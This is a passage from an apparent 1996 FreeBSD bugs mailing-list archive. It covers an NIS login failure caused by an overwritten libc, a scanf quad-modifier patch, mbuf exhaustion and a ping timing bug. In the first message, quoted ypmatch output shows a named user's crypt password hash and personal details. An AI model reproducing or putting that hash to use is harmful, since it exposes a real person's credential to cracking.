ypmatch. But if I su or login > it always comes back with unknown login. I know yp is working, since I > can see users and groups just fine in the "ls -l" listing... > > Script started on Thu Nov 21 08:07:58 1996 > eeyore# ypwhich > ns1.arlut.utexas.edu > eeyore# ypcat -x > Use "passwd" for "passwd.byname" > Use "group" for "group.byname" > Use "networks" for "networks.byaddr" > Use "hosts" for "hosts.byaddr" > Use "protocols" for "protocols.bynumber" > Use "services" for "services.byname" > Use "aliases" for "mail.aliases" > Use "ethers" for "ethers.byname" > eeyore# ypmatch lennyt passwd > lennyt:6cUB2ILRr7hNE:16555:16813:Lenny Tropiano,S252 TSD,3663,2516272:/home/lennyt:/bin/csh > eeyore# ypmatch lennyt passwd.byname > lennyt:6cUB2ILRr7hNE:16555:16813:Lenny Tropiano,S252 TSD,3663,2516272:/home/lennyt:/bin/csh > eeyore# ypmatch 16555 passwd.byuid > lennyt:6cUB2ILRr7hNE:16555:16813:Lenny Tropiano,S252 TSD,3663,2516272:/home/lennyt:/bin/csh > eeyore# su lennyt > su: unknown login: lennyt > eeyore# ls -l /host/n1/itg/stow/ps > total 77 > -rw-r--r-- 1 lennyt itlstw 31708 Sep 22 11:47 ps > ^^^ > eeyore# > Script done on Thu Nov 21 08:09:01 1996 Guh... you know, you're the second person I've encountered who's mentioned something like this. (The other was on IRC... hopefully you're not him. :) I'm starting to wonder about this. /bin/ls is statically linked, which means there's no question that it's using the correct NIS lookup routines. But /usr/bin/su is dynamically linked, which means it may be looking at the wrong libc. Unfortunately, I don't have a 2.1.6-RELEASE installation handy (my test box is running 2.2-ALPHA just at the moment) so I can't do a couple of the things I'd like to do, such as checking timestamps and sizes on /usr/lib/libc.so*. What I'd like you to do is describe to me exactly what parts of the system you installed when you set up the machine. I'm not so much interested in ports/packages (like fvwm, emacs or the other stuff that you can install with pkg_add) as I am in base system components, like bin, proflib, man, src, compat, etc. I'm mainly interested to know if you installed any of the compatibility distributions (as in, compatibility with older versions of FreeBSD). These distributions include different copies of libc.so, and this might be the cause of the problem: I changed the way the pwd_mkdb(8) encodes the special '+' and '-' YP entries from /etc/master.passwd into the /etc/pwd.db and /etc/spwd.db hash databases. I also changed the code in getpwent(3) in libc to match. The trouble is that if you rebuild your user database with pwd_mkdb(8) from 2.1.5 or 2.1.6, then programs that use the getpwent(3) code from 2.1.0 or earlier will _not_ be able to see the special + entries and will therefore assume that NIS is turned off. 2.1.5 and 2.1.6 can read databases from 2.1.0 correctly, but not the other way around. I'm worried that somehow you managed to install one of the older 'compat' versions of libc.so on your system instead of the correct one (or maybe that somehow somebody packed the wrong libc in the distribution). One way this might have happened is if the version numbers are the same: the new one may have been overwritten by the old one. The easiest way to confirm this is to check the copy of /usr/lib/libc.so.* on the 'live filesystem' CD-ROM for the release you have, but I don't think the CD-ROMs have been shipped yet. The other way to do is is to grab the bin.?? files for 2.1.6-RELEASE and extract a copy of libc from them. (cat bin.* | gzip -d | tar -xvf - usr/lib/libc.* should work; the bin.?? files are really just one large tar.gz archive broken up into pieces.) Once you have this copy of libc.so, compare it to the one installed on your system. If they aren't the same size or have different checksums, then somehow you got the wrong one installed. Another thing to try is to ls -l /usr/lib/libc.* and see if all the date/time stamps are roughly the same. If the timestamp for libc.so is way different from libc.a, then your libc.so is probablt bogus. (Alternatively, some kind soul with a fresh 2.1.6 install can show us an ls -l /usr/lib/libc.* and provide checksums for comparison.) I will attempt to load 2.1.6 on my test machine at some point to verify that NIS does work with the latest libc. Note that when I install, I always do a custom setup, and I never use the compat dists. If this does turn out to be tbe problem, the way to fix it is to extract usr/lib/libc.* from the bin distribution (as I mentioned above) and install those libraries on your system in place of the ones you have now. Replacing libc.so is tricky; it's best to do it from single user mode if possible, and them reboot immediately. -Bill -- ============================================================================= -Bill Paul (212) 854-6020 | System Manager, Master of Unix-Fu Work: wpaul@ctr.columbia.edu | Center for Telecommunications Research Home: wpaul@skynet.ctr.columbia.edu | Columbia University, New York City ============================================================================= "If you're ever in trouble, go to the CTR. Ask for Bill. He will help you." ============================================================================= From owner-freebsd-bugs Thu Nov 21 08:42:14 1996 Return-Path: owner-bugs Received: (from root@localhost) by freefall.freebsd.org (8.7.5/8.7.3) id IAA03980 for bugs-outgoing; Thu, 21 Nov 1996 08:42:14 -0800 (PST) Received: from gluon.mep.ruhr-uni-bochum.de (gluon.mep.ruhr-uni-bochum.de [134.147.160.165]) by freefall.freebsd.org (8.7.5/8.7.3) with SMTP id IAA03968; Thu, 21 Nov 1996 08:42:10 -0800 (PST) Received: (from roberte@localhost) by gluon.mep.ruhr-uni-bochum.de (8.6.12/8.6.12) id RAA18476; Thu, 21 Nov 1996 17:40:30 +0100 From: Robert Eckardt Message-Id: <199611211640.RAA18476@gluon.mep.ruhr-uni-bochum.de> Subject: Re: Problem getting NIS/yp to allow logins/su to users In-Reply-To: <199611211411.IAA28753@neelix.arlut.utexas.edu> from Lenny Tropiano at "21. Nov. 96 8:08:44" To: lennyt@arlut.utexas.edu (Lenny Tropiano) Date: Thu, 21 Nov 1996 17:40:30 +0100 (MET) Cc: freebsd-bugs@FreeBSD.ORG, jkh@FreeBSD.ORG X-Mailer: ELM [version 2.4ME+ PL25 (25)] MIME-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit Sender: owner-bugs@FreeBSD.ORG X-Loop: FreeBSD.org Precedence: bulk > I've been banging my head against the wall on this one, and can't figure > out what the deal is. This is the first time I've had to use the NIS/yp > support. This is FreeBSD 2.1.6-RELEASE. I just read that libc.3.0.so is included in 2.1.6. I had once trouble with elm complaining about an unknown user (myself :-) when I noticed I had linked it against 3.0. With libc-2.2 it worked well. Could you try using su/login from 2.1.5 ? (This was on a 2.1.5 NIS client with the NIS server on a 2.1 system.) > I can successfully bind, ypcat, ypwhich, ypmatch. But if I su or login > it always comes back with unknown login. I know yp is working, since I > can see users and groups just fine in the "ls -l" listing... [...] I saw the same symptoms. Ypmatch, ls, .. ok, but elm failed. Robert -- Robert Eckardt ( Ruhr-Universitaet Bochum, Inst.f.Theor.Physik, NB6/169 ) Universitaetsstrasse 150, D-44780 Bochum, Germany ----X---8---- Telefon: +49 234 700-3709, Telefax: +49 234 7094-574 8 E-Mail: RobertE@MEP.Ruhr-Uni-Bochum.de --------8---- URL: http://WWW.MEP.Ruhr-Uni-Bochum.de/~roberte >>> To be successful one needs friends, <<< >>> To be very successful one needs enemies. <<< From owner-freebsd-bugs Thu Nov 21 08:45:50 1996 Return-Path: owner-bugs Received: (from root@localhost) by freefall.freebsd.org (8.7.5/8.7.3) id IAA04430 for bugs-outgoing; Thu, 21 Nov 1996 08:45:50 -0800 (PST) Received: from ns1.arlut.utexas.edu (ns1.arlut.utexas.edu [129.116.212.1]) by freefall.freebsd.org (8.7.5/8.7.3) with ESMTP id IAA04422; Thu, 21 Nov 1996 08:45:47 -0800 (PST) Received: from mail-firewall.arlut.utexas.edu (ns1.arlut.utexas.edu [129.116.212.1]) by ns1.arlut.utexas.edu (8.7.5/8.7.3) with ESMTP id KAA03236; Thu, 21 Nov 1996 10:45:35 -0600 (CST) Received: from neelix.arlut.utexas.edu (neelix.arlut.utexas.edu [129.116.152.36]) by mail-firewall.arlut.utexas.edu (8.7.5/8.7.3) with ESMTP id KAA03231; Thu, 21 Nov 1996 10:45:34 -0600 (CST) Received: (from lennyt@localhost) by neelix.arlut.utexas.edu (8.6.11/8.6.9) id KAA29257; Thu, 21 Nov 1996 10:43:59 -0600 Message-Id: <199611211643.KAA29257@neelix.arlut.utexas.edu> Subject: Re: Problem getting NIS/yp to allow logins/su to users To: wpaul@skynet.ctr.columbia.edu (Bill Paul) Date: Thu, 21 Nov 1996 10:43:59 -0600 (CST) From: "Lenny Tropiano" Cc: lennyt@arlut.utexas.edu, freebsd-bugs@FreeBSD.org, jkh@FreeBSD.org, gil@arlut.utexas.edu (Gil Kloepfer) In-Reply-To: <199611211608.LAA19976@skynet.ctr.columbia.edu> from "Bill Paul" at Nov 21, 96 11:08:54 am X-Mailer: ELM [version 2.4 PL25] MIME-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit Sender: owner-bugs@FreeBSD.org X-Loop: FreeBSD.org Precedence: bulk > I'm starting to wonder about this. /bin/ls is statically linked, which > means there's no question that it's using the correct NIS lookup routines. > But /usr/bin/su is dynamically linked, which means it may be looking at > the wrong libc. > > Unfortunately, I don't have a 2.1.6-RELEASE installation handy (my test > box is running 2.2-ALPHA just at the moment) so I can't do a couple of > the things I'd like to do, such as checking timestamps and sizes on > /usr/lib/libc.so*. [...] > I'm mainly interested to know if you installed any of the compatibility > distributions (as in, compatibility with older versions of FreeBSD). > These distributions include different copies of libc.so, and this might > be the cause of the problem: I changed the way the pwd_mkdb(8) encodes > the special '+' and '-' YP entries from /etc/master.passwd into the > /etc/pwd.db and /etc/spwd.db hash databases. I also changed the code in > getpwent(3) in libc to match. The trouble is that if you rebuild your > user database with pwd_mkdb(8) from 2.1.5 or 2.1.6, then programs that > use the getpwent(3) code from 2.1.0 or earlier will _not_ be able to > see the special + entries and will therefore assume that NIS is turned > off. 2.1.5 and 2.1.6 can read databases from 2.1.0 correctly, but not > the other way around. > > I'm worried that somehow you managed to install one of the older 'compat' > versions of libc.so on your system instead of the correct one (or maybe > that somehow somebody packed the wrong libc in the distribution). One way > this might have happened is if the version numbers are the same: the new > one may have been overwritten by the old one. You hit it right on the head!! THanks! libc.so.2.2 is what's in 2.1.6-RELEASE, but it should be later, since the 2.x compatibility library also has a libc.so.2.2, which overwrote it with an older version. It works now. -- Lenny Tropiano | Sr. Operating Systems Specialist Ph# (512) 835-3663 / 604-1166 Information Technology Group, Office: S252 Fax (512) 490-4220 / 835-3100 Applied Research Laboratories of UT Austin E-Mail: lennyt@arlut.utexas.edu P.O. Box 8029, Austin, Texas 78713-8029 Home E-mail: lenny@icus.com 10000 Burnet Rd, Austin Texas 78758 URL: http://www.icus.com/~lenny/ From owner-freebsd-bugs Thu Nov 21 10:58:40 1996 Return-Path: owner-bugs Received: (from root@localhost) by freefall.freebsd.org (8.7.5/8.7.3) id KAA11114 for bugs-outgoing; Thu, 21 Nov 1996 10:58:40 -0800 (PST) Received: from uno.sat.t.u-tokyo.ac.jp (uno.sat.t.u-tokyo.ac.jp [133.11.70.160]) by freefall.freebsd.org (8.7.5/8.7.3) with ESMTP id KAA11098 for ; Thu, 21 Nov 1996 10:58:28 -0800 (PST) Received: by uno.sat.t.u-tokyo.ac.jp (8.7.3+2.6Wbeta5/8.7.3) with ESMTP id DAA14127; Fri, 22 Nov 1996 03:58:23 +0900 (JST) To: freebsd-bugs@freebsd.org Subject: Re: Problem getting NIS/yp to allow logins/su to users X-Mailer: Mew version 1.52 on Emacs 19.28.1, Mule 2.3 Mime-Version: 1.0 Content-Type: Text/Plain; charset=us-ascii Content-Transfer-Encoding: 7bit Date: Fri, 22 Nov 1996 03:58:23 +0900 Message-ID: <14125.848602703@sat.t.u-tokyo.ac.jp> From: Hidetoshi Shimokawa Sender: owner-bugs@freebsd.org X-Loop: FreeBSD.org Precedence: bulk I also observe strange behavior on NIS and shared library. A) 2.2-ALPHA If I link the following program with libc.so.3.0, and run % ./getpw username-in-NIS-map-and-not-in-local-passwd then I get "sucess". But if link it with libc.so.2.2 (ln -s /usr/lib/libc.so.2.2 .; cc -o getpw getpw.c -L .) then I get "fail". lib.c.2.0 gets "sucess". I noticed this because old zsh and tcsh binaries don't work correctly under 2.2 ALPHA. The results of ktrace show it gets the right passwd field from yp server but getpwnam returns NULL. --- /* getpw.c */ #include #include struct passwd *p; main (int argc, char **argv) { p = getpwnam(argv[1]); printf("%s\n", p?"success":"fail"); } -- B) originally 2.1.0, but kernel is current and some binaries are current. The above program works fine for any shared library. I cannot make out what is different between A and B. /\ Hidetoshi Shimokawa \/ simokawa@sat.t.u-tokyo.ac.jp PGP public key: finger -l simokawa@sat.t.u-tokyo.ac.jp From owner-freebsd-bugs Thu Nov 21 16:20:33 1996 Return-Path: owner-bugs Received: (from root@localhost) by freefall.freebsd.org (8.7.5/8.7.3) id QAA29302 for bugs-outgoing; Thu, 21 Nov 1996 16:20:33 -0800 (PST) Received: (from gnats@localhost) by freefall.freebsd.org (8.7.5/8.7.3) id QAA29242; Thu, 21 Nov 1996 16:20:17 -0800 (PST) Resent-Date: Thu, 21 Nov 1996 16:20:17 -0800 (PST) Resent-Message-Id: <199611220020.QAA29242@freefall.freebsd.org> Resent-From: gnats (GNATS Management) Resent-To: freebsd-bugs Resent-Reply-To: FreeBSD-gnats@freefall.FreeBSD.org, shanee@rabbit.augusta.de Received: from who.cdrom.com (who.cdrom.com [204.216.27.3]) by freefall.freebsd.org (8.7.5/8.7.3) with ESMTP id QAA28571 for ; Thu, 21 Nov 1996 16:11:00 -0800 (PST) Received: from inga.augusta.de (root@inga.augusta.de [193.175.23.65]) by who.cdrom.com (8.7.5/8.6.11) with SMTP id QAA01979 for ; Thu, 21 Nov 1996 16:10:55 -0800 (PST) Received: from rabbit by inga.augusta.de with uucp (Smail3.1.29.1 #1) id m0vQj9Q-004copC; Fri, 22 Nov 96 01:07 MET Received: by rabbit.augusta.de (Smail3.1.29.1 #1) id m0vQLfG-000A14C; Thu, 21 Nov 96 00:02 MET Message-Id: Date: Thu, 21 Nov 96 00:02 MET From: shanee@rabbit.augusta.de Reply-To: shanee@rabbit.augusta.de To: FreeBSD-gnats-submit@freebsd.org X-Send-Pr-Version: 3.2 Subject: docs/2077: Error in /usr/share/doc/handbook/ Sender: owner-bugs@freebsd.org X-Loop: FreeBSD.org Precedence: bulk >Number: 2077 >Category: docs >Synopsis: Error in /usr/share/doc/handbook/ (src-cur.2436.gz) >Confidential: yes >Severity: non-critical >Priority: low >Responsible: freebsd-bugs >State: open >Class: doc-bug >Submitter-Id: current-users >Arrival-Date: Thu Nov 21 16:20:05 PST 1996 >Last-Modified: >Originator: Andreas Kohout >Organization: Privat SIte running FreeBSD >Release: FreeBSD 3.0-CURRENT i386 >Environment: n/a >Description: in /usr/share/doc/handbook/handbook31.html#39 there is a link to handbook224.html#porting:starting (guidelines). In handbook224.html is the reference #porting:starting missing. >How-To-Repeat: use youre browser. >Fix: change on of them. >Audit-Trail: >Unformatted: From owner-freebsd-bugs Thu Nov 21 19:17:57 1996 Return-Path: owner-bugs Received: (from root@localhost) by freefall.freebsd.org (8.7.5/8.7.3) id TAA13598 for bugs-outgoing; Thu, 21 Nov 1996 19:17:57 -0800 (PST) Received: from mickey.umiacs.umd.edu (12222@mickey.umiacs.umd.edu [128.8.120.49]) by freefall.freebsd.org (8.7.5/8.7.3) with ESMTP id TAA13570 for ; Thu, 21 Nov 1996 19:17:50 -0800 (PST) Received: (smpatel@localhost) by mickey.umiacs.umd.edu (8.8.3/UMIACS-0.9/04-05-88) id WAA00232; Thu, 21 Nov 1996 22:17:46 -0500 (EST) Date: Thu, 21 Nov 1996 22:17:46 -0500 (EST) From: Sujal Patel To: bugs@freebsd.org Subject: 2.2-ALPHA: Running out of mbufs. Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-bugs@freebsd.org X-Loop: FreeBSD.org Precedence: bulk If you run out of mbufs in 2.2-ALPHA, it seems to destablize the system. Running out is usually folowed by a spontanious reboot. Setting the mbufs very high in the kernel config seems to fix the problem, but I thought this problem was fixed a while back? Sujal From owner-freebsd-bugs Thu Nov 21 21:11:42 1996 Return-Path: owner-bugs Received: (from root@localhost) by freefall.freebsd.org (8.7.5/8.7.3) id VAA22970 for bugs-outgoing; Thu, 21 Nov 1996 21:11:42 -0800 (PST) Received: from rocky.mt.sri.com (rocky.mt.sri.com [206.127.76.100]) by freefall.freebsd.org (8.7.5/8.7.3) with ESMTP id VAA22965 for ; Thu, 21 Nov 1996 21:11:32 -0800 (PST) Received: (from nate@localhost) by rocky.mt.sri.com (8.7.5/8.7.3) id WAA14618; Thu, 21 Nov 1996 22:11:25 -0700 (MST) Date: Thu, 21 Nov 1996 22:11:25 -0700 (MST) Message-Id: <199611220511.WAA14618@rocky.mt.sri.com> From: Nate Williams To: Sujal Patel Cc: bugs@freebsd.org Subject: Re: 2.2-ALPHA: Running out of mbufs. In-Reply-To: References: Sender: owner-bugs@freebsd.org X-Loop: FreeBSD.org Precedence: bulk > If you run out of mbufs in 2.2-ALPHA, it seems to destablize the system. > Running out is usually folowed by a spontanious reboot. Setting the > mbufs very high in the kernel config seems to fix the problem, but I > thought this problem was fixed a while back? This seems to be the same problem I'm seeing with my laptop. Nate From owner-freebsd-bugs Thu Nov 21 21:43:43 1996 Return-Path: owner-bugs Received: (from root@localhost) by freefall.freebsd.org (8.7.5/8.7.3) id VAA25550 for bugs-outgoing; Thu, 21 Nov 1996 21:43:43 -0800 (PST) Received: from mickey.umiacs.umd.edu (12222@mickey.umiacs.umd.edu [128.8.120.49]) by freefall.freebsd.org (8.7.5/8.7.3) with ESMTP id VAA25545 for ; Thu, 21 Nov 1996 21:43:34 -0800 (PST) Received: (smpatel@localhost) by mickey.umiacs.umd.edu (8.8.3/UMIACS-0.9/04-05-88) id AAA03352; Fri, 22 Nov 1996 00:43:27 -0500 (EST) Date: Fri, 22 Nov 1996 00:43:26 -0500 (EST) From: Sujal Patel To: Nate Williams cc: bugs@freebsd.org Subject: Re: 2.2-ALPHA: Running out of mbufs. In-Reply-To: <199611220511.WAA14618@rocky.mt.sri.com> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-bugs@freebsd.org X-Loop: FreeBSD.org Precedence: bulk On Thu, 21 Nov 1996, Nate Williams wrote: > > If you run out of mbufs in 2.2-ALPHA, it seems to destablize the system. > > Running out is usually folowed by a spontanious reboot. Setting the > > mbufs very high in the kernel config seems to fix the problem, but I > > thought this problem was fixed a while back? > > This seems to be the same problem I'm seeing with my laptop. You can generate enough network load to do this on your laptop? That's pretty impressive :-) Has anyone else seen this? I suspect that anyone running enough load to do this will already have set the # of mbufs up pretty high. Sujal From owner-freebsd-bugs Thu Nov 21 21:46:30 1996 Return-Path: owner-bugs Received: (from root@localhost) by freefall.freebsd.org (8.7.5/8.7.3) id VAA25749 for bugs-outgoing; Thu, 21 Nov 1996 21:46:30 -0800 (PST) Received: from rocky.mt.sri.com (rocky.mt.sri.com [206.127.76.100]) by freefall.freebsd.org (8.7.5/8.7.3) with ESMTP id VAA25738 for ; Thu, 21 Nov 1996 21:46:19 -0800 (PST) Received: (from nate@localhost) by rocky.mt.sri.com (8.7.5/8.7.3) id WAA14801; Thu, 21 Nov 1996 22:46:13 -0700 (MST) Date: Thu, 21 Nov 1996 22:46:13 -0700 (MST) Message-Id: <199611220546.WAA14801@rocky.mt.sri.com> From: Nate Williams To: Sujal Patel Cc: Nate Williams , bugs@freebsd.org Subject: Re: 2.2-ALPHA: Running out of mbufs. In-Reply-To: References: <199611220511.WAA14618@rocky.mt.sri.com> Sender: owner-bugs@freebsd.org X-Loop: FreeBSD.org Precedence: bulk > > > If you run out of mbufs in 2.2-ALPHA, it seems to destablize the system. > > > Running out is usually folowed by a spontanious reboot. Setting the > > > mbufs very high in the kernel config seems to fix the problem, but I > > > thought this problem was fixed a while back? > > > > This seems to be the same problem I'm seeing with my laptop. > > You can generate enough network load to do this on your laptop? That's > pretty impressive :-) All I'm doing is a CVS update over the network. It runs fine on my -stable disk w/out any problems. The load is pretty minimal, and *all* my other machines (running either -stable or older -current) handle much higher loads w/out problems. Nate From owner-freebsd-bugs Thu Nov 21 23:10:03 1996 Return-Path: owner-bugs Received: (from root@localhost) by freefall.freebsd.org (8.7.5/8.7.3) id XAA29607 for bugs-outgoing; Thu, 21 Nov 1996 23:10:03 -0800 (PST) Received: (from gnats@localhost) by freefall.freebsd.org (8.7.5/8.7.3) id XAA29600; Thu, 21 Nov 1996 23:10:02 -0800 (PST) Resent-Date: Thu, 21 Nov 1996 23:10:02 -0800 (PST) Resent-Message-Id: <199611220710.XAA29600@freefall.freebsd.org> Resent-From: gnats (GNATS Management) Resent-To: freebsd-bugs Resent-Reply-To: FreeBSD-gnats@freefall.FreeBSD.org, dawes@physics.usyd.edu.au Received: from landfill.physics.usyd.edu.au (landfill.physics.usyd.edu.au [129.78.129.18]) by freefall.freebsd.org (8.7.5/8.7.3) with ESMTP id XAA29248 for ; Thu, 21 Nov 1996 23:05:50 -0800 (PST) Received: (from dawes@localhost) by landfill.physics.usyd.edu.au (8.8.2/8.8.2) id SAA04025; Fri, 22 Nov 1996 18:05:43 +1100 (EST) Message-Id: <199611220705.SAA04025@landfill.physics.usyd.edu.au> Date: Fri, 22 Nov 1996 18:05:43 +1100 (EST) From: dawes@physics.usyd.edu.au Reply-To: dawes@physics.usyd.edu.au To: FreeBSD-gnats-submit@freebsd.org Cc: dawes@physics.usyd.edu.au X-Send-Pr-Version: 3.2 Subject: bin/2080: The scanf family doesn't support the 'q' modifier Sender: owner-bugs@freebsd.org X-Loop: FreeBSD.org Precedence: bulk >Number: 2080 >Category: bin >Synopsis: The scanf family doesn't support 'q' modifier >Confidential: no >Severity: non-critical >Priority: low >Responsible: freebsd-bugs >State: open >Class: change-request >Submitter-Id: current-users >Arrival-Date: Thu Nov 21 23:10:00 PST 1996 >Last-Modified: >Originator: David Dawes >Organization: University of Sydney, Australia >Release: FreeBSD 3.0-CURRENT i386 >Environment: >Description: fscanf(3) and related functions don't support the 'q' modifier, so can't read into types quad_t or u_quad_t. The printf functions do support this. >How-To-Repeat: It is clear that this support is missing by checking libc/stdio/vfscanf.c and the fscanf(3) man page. >Fix: The following patch works for me. There may be better ways to do this. Index: scanf.3 =================================================================== RCS file: /home/cvs/src/lib/libc/stdio/scanf.3,v retrieving revision 1.2 diff -c -r1.2 scanf.3 *** scanf.3 1996/03/27 20:48:47 1.2 --- scanf.3 1996/11/22 06:48:04 *************** *** 171,176 **** --- 171,185 ---- (This type is not implemented; the .Cm L flag is currently ignored.) + .It Cm q + Indicates either that the conversion will be one of + .Cm dioux + or + .Cm n + and the next pointer is a pointer to a + .Em long long int + (rather than + .Em int ) , .El .Pp In addition to these flags, Index: vfscanf.c =================================================================== RCS file: /home/cvs/src/lib/libc/stdio/vfscanf.c,v retrieving revision 1.3 diff -c -r1.3 vfscanf.c *** vfscanf.c 1996/06/22 10:34:06 1.3 --- vfscanf.c 1996/11/22 07:03:20 *************** *** 66,71 **** --- 66,72 ---- #define SUPPRESS 0x08 /* suppress assignment */ #define POINTER 0x10 /* weird %p pointer (`fake hex') */ #define NOSKIP 0x20 /* do not skip blanks */ + #define QUAD 0x400 /* * The following are used in numeric conversions only: *************** *** 87,93 **** #define CT_CHAR 0 /* %c conversion */ #define CT_CCL 1 /* %[...] conversion */ #define CT_STRING 2 /* %s conversion */ ! #define CT_INT 3 /* integer, i.e., strtol or strtoul */ #define CT_FLOAT 4 /* floating, i.e., strtod */ #define u_char unsigned char --- 88,94 ---- #define CT_CHAR 0 /* %c conversion */ #define CT_CCL 1 /* %[...] conversion */ #define CT_STRING 2 /* %s conversion */ ! #define CT_INT 3 /* integer, i.e., strtoq or strtouq */ #define CT_FLOAT 4 /* floating, i.e., strtod */ #define u_char unsigned char *************** *** 113,120 **** register char *p0; /* saves original value of p when necessary */ int nassigned; /* number of fields assigned */ int nread; /* number of characters consumed from fp */ ! int base; /* base argument to strtol/strtoul */ ! u_long (*ccfn)(); /* conversion function (strtol/strtoul) */ char ccltab[256]; /* character class table for %[...] */ char buf[BUF]; /* buffer for numeric conversions */ --- 114,121 ---- register char *p0; /* saves original value of p when necessary */ int nassigned; /* number of fields assigned */ int nread; /* number of characters consumed from fp */ ! int base; /* base argument to strtoq/strtouq */ ! u_quad_t(*ccfn)(); /* conversion function (strtoq/strtouq) */ char ccltab[256]; /* character class table for %[...] */ char buf[BUF]; /* buffer for numeric conversions */ *************** *** 166,171 **** --- 167,175 ---- case 'l': flags |= LONG; goto again; + case 'q': + flags |= QUAD; + goto again; case 'L': flags |= LONGDBL; goto again; *************** *** 190,202 **** /* FALLTHROUGH */ case 'd': c = CT_INT; ! ccfn = (u_long (*)())strtol; base = 10; break; case 'i': c = CT_INT; ! ccfn = (u_long (*)())strtol; base = 0; break; --- 194,206 ---- /* FALLTHROUGH */ case 'd': c = CT_INT; ! ccfn = (u_quad_t (*)())strtoq; base = 10; break; case 'i': c = CT_INT; ! ccfn = (u_quad_t (*)())strtoq; base = 0; break; *************** *** 205,217 **** /* FALLTHROUGH */ case 'o': c = CT_INT; ! ccfn = strtoul; base = 8; break; case 'u': c = CT_INT; ! ccfn = strtoul; base = 10; break; --- 209,221 ---- /* FALLTHROUGH */ case 'o': c = CT_INT; ! ccfn = strtouq; base = 8; break; case 'u': c = CT_INT; ! ccfn = strtouq; base = 10; break; *************** *** 221,227 **** case 'x': flags |= PFXOK; /* enable 0x prefixing */ c = CT_INT; ! ccfn = strtoul; base = 16; break; --- 225,231 ---- case 'x': flags |= PFXOK; /* enable 0x prefixing */ c = CT_INT; ! ccfn = strtouq; base = 16; break; *************** *** 253,259 **** case 'p': /* pointer format is like hex */ flags |= POINTER | PFXOK; c = CT_INT; ! ccfn = strtoul; base = 16; break; --- 257,263 ---- case 'p': /* pointer format is like hex */ flags |= POINTER | PFXOK; c = CT_INT; ! ccfn = strtouq; base = 16; break; *************** *** 264,269 **** --- 268,275 ---- *va_arg(ap, short *) = nread; else if (flags & LONG) *va_arg(ap, long *) = nread; + else if (flags & QUAD) + *va_arg(ap, quad_t *) = nread; else *va_arg(ap, int *) = nread; continue; *************** *** 278,284 **** if (isupper(c)) flags |= LONG; c = CT_INT; ! ccfn = (u_long (*)())strtol; base = 10; break; } --- 284,290 ---- if (isupper(c)) flags |= LONG; c = CT_INT; ! ccfn = (u_quad_t (*)())strtoq; base = 10; break; } *************** *** 420,426 **** continue; case CT_INT: ! /* scan an integer as if by strtol/strtoul */ #ifdef hardway if (width == 0 || width > sizeof(buf) - 1) width = sizeof(buf) - 1; --- 426,432 ---- continue; case CT_INT: ! /* scan an integer as if by strtoq/strtouq */ #ifdef hardway if (width == 0 || width > sizeof(buf) - 1) width = sizeof(buf) - 1; *************** *** 538,553 **** (void) ungetc(c, fp); } if ((flags & SUPPRESS) == 0) { ! u_long res; *p = 0; res = (*ccfn)(buf, (char **)NULL, base); if (flags & POINTER) ! *va_arg(ap, void **) = (void *)res; else if (flags & SHORT) *va_arg(ap, short *) = res; else if (flags & LONG) *va_arg(ap, long *) = res; else *va_arg(ap, int *) = res; nassigned++; --- 544,562 ---- (void) ungetc(c, fp); } if ((flags & SUPPRESS) == 0) { ! u_quad_t res; *p = 0; res = (*ccfn)(buf, (char **)NULL, base); if (flags & POINTER) ! *va_arg(ap, void **) = ! (void *)(u_long)res; else if (flags & SHORT) *va_arg(ap, short *) = res; else if (flags & LONG) *va_arg(ap, long *) = res; + else if (flags & QUAD) + *va_arg(ap, quad_t *) = res; else *va_arg(ap, int *) = res; nassigned++; >Audit-Trail: >Unformatted: From owner-freebsd-bugs Thu Nov 21 23:30:08 1996 Return-Path: owner-bugs Received: (from root@localhost) by freefall.freebsd.org (8.7.5/8.7.3) id XAA00748 for bugs-outgoing; Thu, 21 Nov 1996 23:30:08 -0800 (PST) Received: (from gnats@localhost) by freefall.freebsd.org (8.7.5/8.7.3) id XAA00741; Thu, 21 Nov 1996 23:30:04 -0800 (PST) Resent-Date: Thu, 21 Nov 1996 23:30:04 -0800 (PST) Resent-Message-Id: <199611220730.XAA00741@freefall.freebsd.org> Resent-From: gnats (GNATS Management) Resent-To: freebsd-bugs Resent-Reply-To: FreeBSD-gnats@freefall.FreeBSD.org, phk@freebsd.org Received: from critter.tfs.com ([140.145.230.177]) by freefall.freebsd.org (8.7.5/8.7.3) with ESMTP id XAA00672 for ; Thu, 21 Nov 1996 23:29:16 -0800 (PST) Received: (from phk@localhost) by critter.tfs.com (8.8.2/8.8.2) id IAA08283; Fri, 22 Nov 1996 08:29:48 +0100 (MET) Message-Id: <199611220729.IAA08283@critter.tfs.com> Date: Fri, 22 Nov 1996 08:29:48 +0100 (MET) From: phk@freebsd.org Reply-To: phk@freebsd.org To: FreeBSD-gnats-submit@freebsd.org X-Send-Pr-Version: 3.2 Subject: bin/2081: pings clock is troubled Sender: owner-bugs@freebsd.org X-Loop: FreeBSD.org Precedence: bulk >Number: 2081 >Category: bin >Synopsis: pings clock is troubled >Confidential: no >Severity: non-critical >Priority: low >Responsible: freebsd-bugs >State: open >Class: sw-bug >Submitter-Id: current-users >Arrival-Date: Thu Nov 21 23:30:01 PST 1996 >Last-Modified: >Originator: Poul-Henning Kamp >Organization: >Release: FreeBSD 3.0-CURRENT i386 >Environment: IP line where ICMP is low priority, swamped by higher priority traffic. >Description: this is utterly impossible RTTs. 64 bytes from 204.216.27.18: icmp_seq=149 ttl=246 time=13073.815 ms 64 bytes from 204.216.27.18: icmp_seq=150 ttl=246 time=12092.478 ms 64 bytes from 204.216.27.18: icmp_seq=151 ttl=246 time=11388.356 ms 64 bytes from 204.216.27.18: icmp_seq=152 ttl=246 time=831870306350.667 ms 64 bytes from 204.216.27.18: icmp_seq=154 ttl=246 time=831870335424.108 ms 64 bytes from 204.216.27.18: icmp_seq=155 ttl=246 time=831870335423.959 ms 64 bytes from 204.216.27.18: icmp_seq=160 ttl=246 time=831870335374.866 ms 64 bytes from 204.216.27.18: icmp_seq=161 ttl=246 time=831870345245.081 ms 64 bytes from 204.216.27.18: icmp_seq=162 ttl=246 time=831870345236.793 ms 64 bytes from 204.216.27.18: icmp_seq=163 ttl=246 time=831870345264.797 ms 64 bytes from 204.216.27.18: icmp_seq=164 ttl=246 time=831870345256.368 ms 64 bytes from 204.216.27.18: icmp_seq=165 ttl=246 time=831870345247.212 ms 64 bytes from 